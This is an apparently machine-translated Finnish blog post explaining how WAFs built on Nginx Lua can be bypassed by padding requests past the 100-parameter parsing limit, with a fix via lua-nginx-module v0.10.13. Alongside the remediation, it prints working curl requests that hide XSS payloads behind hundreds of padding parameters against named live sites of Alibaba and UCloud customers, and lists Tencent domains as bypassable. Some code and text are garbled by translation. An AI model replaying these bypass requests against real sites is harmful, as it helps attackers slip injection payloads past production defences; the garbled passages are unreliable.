|
|
Julkaistu 27.4.2018 9.23.29
|
|
|
|

Kun ginx Lua saa parametrit, ensimmäiset 100 parametriarvoa saadaan oletuksena, ja loput hylätään. Siksi Nginx Luaa käyttävät WAF:t ohitetaan oletuksena. 20. huhtikuuta 18. huhtikuuta joku turvamatkustajalla oli jo paljastanut tämän yksityiskohdan, joten julkaisin myös tämän artikkelin 233.
Periaate
Virallinen kuvaus on seuraava
Huomaa, että oletuksena jäsennellään enintään 100 pyyntöargumenttia (mukaan lukien samannimiset) ja että lisäpyyntöargumentit hylätään hiljaisesti suojatakseen mahdollisilta mahdollisilta Palvelunestohyökkäykset. Oletuksena voidaan jäsentää jopa 100 pyyntöparametria (mukaan lukien samannimiset), ja lisäpyyntöparametrit poistetaan automaattisesti estääkseen mahdolliset palvelunestohyökkäykset.
Hae 100, suunnilleen seuraava menetelmä aiheuttaa saman ongelman. ngx.req.get_uri_args Hanki pyyntöparametrit saamiseksi ngx.req.get_post_args Hanki pyyntöparametrit postaukseen ngx.req.get_headers Hanki pyyntöotsikko ngx.decode_args Dekoodaa parametrien URL-osoite ngx.resp.get_headers Hanki vastausotsikko Lua-nginx-moduulin lähdekoodissa näemme, että lähdekoodi asettaa oletusarvoisen maksimipyyntöparametrin ja otsikon arvoon 100
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
Kuitenkin virkamies tarjoaa menetelmän oletusarvon muokkaamiseen, kuten ngx.req.get_uri_args (200) saadakseen ensimmäiset 200 pyyntöparametria.
Testi
Jos pyyntöparametri on 101, viimeistä pyyntöparametria ei voida saada.
Curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'
Jos pienennät yhden pyyntöparametrin, saat viimeisen pyyntöparametrin, kun pyyntöparametrit ovat täsmälleen 100.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 V: ZBG Sain sinut kiinni, zbg
Huomaa, että oletusarvo on todellakin 100 pyyntöparametria, ja pyyntöparametrit 100 pyynnön jälkeen hylätään.
On outoa, että yllä olevassa palautussisällössä, karkean sijainnin keskellä, viimeinen zbg-parametri on jo tulostettu. Arvaukseni on, että tulos ei ole oikeassa järjestyksessä, mutta jäsentämisjärjestys noudattaa parametrien lähettämisjärjestystä, koska kun 101. parametrin arvo on zbg, arvoa ei voida saada.
Liitteenä on python-skripti, joka generoi parametrit:
# Kirjoittaja: ZBG # Posti:zbg@zbg.org # päivämäärä: 2018-04-03
a = '' i:lle alueella(200): a = a + 'a{0}={1}&'.format(i+1, i+1) Tulosta a korjaus Tietenkään ei suositella muuttamaan parametrin MAX-arvoa lähdekoodissa. Koska riippumatta siitä, kuinka suuri arvo asetetaan, sen voi ohittaa. On suositeltavaa asettaa se menetelmän parametrien avulla. Jos saisit pyyntöparametrin pituuden ja käyttäisit menetelmää kuten ngx.req.get_uri_args (pituus), eikö se riittäisi? Lukiessani dokumentaatiota huomasin, että pyydettyjen parametrien määrää ei saatu saataville. Kuitenkin, jos asetat pituuden arvoksi 0, saat kaikki pyydetyt parametrit.
Tämän argumentin voi asettaa nollaksi poistaakseen rajan ja käsittelemään kaikki vastaanotetut pyyntöargumentit. paikalliset args = ngx.req.get_uri_args(0)
Kuitenkin sitä ei suositella asettamaan nollaan mahdollisten palvelunestohyökkäysten estämiseksi.
max_args-korkin poistamista ei suositella lainkaan.
Itse asiassa mietin, miksi asetus 0 johtaisi mahdolliseen palvelunestohyökkäykseen, ja pyyntö menisi nginxille joka tapauksessa, riippumatta siitä, kuinka monta parametria getissä tai postissa oli.
Nostin asian viranomaiselle, ja kirjoittaja sanoi, että ngx.req.get_uri_args (0) lisää palvelimen suorittimen ja muistin käyttöä. Myöhemmin testasin 200 parametria ja käytin Nginx+php:tä saadakseni 200. parametrin, mikä tarkoittaa, että Nginx ei rajoita pyydettyjen parametrien määrää oletuksena. Silloin ongelma saattaa olla itse Nginx Luassa,Kun Nginx Lua käyttää ngx.req.get_uri_args(0):ää saadakseen kaikki parametrit ja käydäkseen niistä läpi, kun parametreja on paljon, se kuluttaa enemmän prosessoria ja muistia, ja lopulta johtaa jopa palveluestoon。
04.03.2018 Bypass007 nosti virallisesti esiin ONGELMAN tästä bugikorjauksesta ja lisäsi vihdoin virallisesti uuden ominaisuuden tämän ONGELMAN pohjalta 21.4.2018. Tämän funktion commit-tietueosoite: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
Funktion kuvaus on seuraava: versioissa v0.10.13:n jälkeen (mukaan lukien v0.10.13), kun pyyntöjen rajamäärä rikotaan, toinen palautusarvo on katkaistu merkkijono. V0.10.13:sta lähtien, kun raja ylittyy, se palauttaa toisen arvon, joka on merkkijono "trunkated". Kuitenkin valinnaista max_args-funktioargumenttia voidaan käyttää tämän rajan ylittämiseen: paikalliset arg:t, err = ngx.req.get_uri_args(10) if err == "trunkattu", niin -- täällä voi valita ohittaako tai hylätä nykyisen pyynnön loppu
Joten lopullinen korjaus tuli ulos.
Päivitä lua-nginx-moduuli versioon v0.10.13 tai uudempi
Sitten rajoita parametrien kokonaismäärää, sillä kuinka paljon kokonaismäärä on rajattu, mielestäni 100 riittää
OpenResty päivittää lua-nginx-moduulimoduulin
En löytänyt mitään tietoa OpenResty-päivitysmoduulista, joten keksin itse, miten päivittää lua-nginx-moduuli.
Vaiheet ovat seuraavat:
Lataa vastaava versio lua-nginx-moduulimoduulista wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 purkaa tar -zxvf v0.10.13 Poista edellinen lua-nginx-moduuliversio RM -RF Openresty-1.9.15.1/bundle/ngx_lua-0.10.5 Kopioi uusi lua-nginx-moduuli MV Lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13 Kääntämistä varten katso VeryNginxin käännösparametreja
Kotelon ohitus
On syytä selventää, että seuraavien WAF:ien kohdalla en ole varma, pitäisikö käyttää Nginx Luaa, mutta ne voi ohittaa parametrien kokonaismäärällä.
Ali WAF
Tämä WAF on Alibaban sisäisesti käyttämä WAF, eli WAF, jota käyttävät esimerkiksi verkkotunnukset kuten *.taobao.com, eikä sitä ole testattu Alibaba Cloudin myymälle pilvi-WAF:lle. Ensiksi pyydä POST XSS -hyötykuormaa sieppaamaan se. curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com Fuzzin avulla havaittiin, että kun parametrien määrä kasvaa 478:aan, XSS Payloadilla, sitä ei enää siepata ja verkkosivustolle pääsee normaalisti käsiksi. Curl -V -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=108&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=133&134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&223=224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a==<img src=x onerror=alert(/xss/)>' lu.taobao.com
UCloud
Testattu WAF on UCloudin myymä WAF. Kun pyyntöparametri nostetaan 138:aan, sitä ei enää estetä ja verkkosivustoa käytetään normaalisti. curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=108&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=133&134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn
Tencent WAF
Tämä WAF on Tencentin sisäinen WAF, eli WAF, jota käyttävät esimerkiksi verkkotunnukset kuten *.qq.com, eikä sitä ole testattu Tencent Cloudin myymälle pilvi-WAF:lle. Kun pyyntöparametri nousee 4000:een, sitä ei enää estetä ja verkkosivustoa käytetään normaalisti. Seuraavien domainien satunnaistestit kärsivät. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
yhteenveto
Tämä kysymys on hyvin yksinkertainen, ja löydät sen lukemalla asiakirjan huolellisesti. Mutta miksi en saanut tietää? Mielestäni ajattelu on silti liian vähän. Viite
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Edellinen:Opettele Photoshop alusta alkaen, 18 oppituntia aloittelijasta jumalaksiSeuraava:Luan ja Luajitin vahvuudet ja heikkoudet
|